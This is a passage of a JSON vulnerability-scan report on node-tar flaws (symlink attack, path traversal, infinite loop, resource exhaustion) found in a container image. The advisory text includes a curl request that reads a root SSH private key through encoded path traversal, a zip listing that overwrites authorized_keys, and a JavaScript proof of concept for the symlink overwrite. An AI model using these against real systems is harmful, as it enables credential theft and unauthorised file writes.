to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "tar", "version": "7.5.9", "severityWithCritical": "high" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "tar", "version": "7.5.9", "severityWithCritical": "high" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "tar", "version": "7.5.9", "severityWithCritical": "high" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "tar", "version": "7.5.9", "severityWithCritical": "high" } ], "upgrade": { "npm@11.11.0": { "upgradeTo": "npm@12.0.0", "upgrades": [ "http-cache-semantics@4.2.0", "http-cache-semantics@4.2.0" ], "vulns": [ "SNYK-JS-HTTPCACHESEMANTICS-19964064", "SNYK-JS-HTTPCACHESEMANTICS-19964068" ] } }, "patch": {}, "ignore": {}, "pin": {} }, "filesystemPolicy": false, "filtered": { "ignore": [], "patch": [] }, "uniqueCount": 22, "targetFile": "/usr/lib/node_modules", "projectName": "lib", "displayTargetFile": "/usr/lib/node_modules", "hasUnknownVersions": false, "path": "docker.io/scopear/iot-simulator:1.0.12_a18cd9a.162" } ] }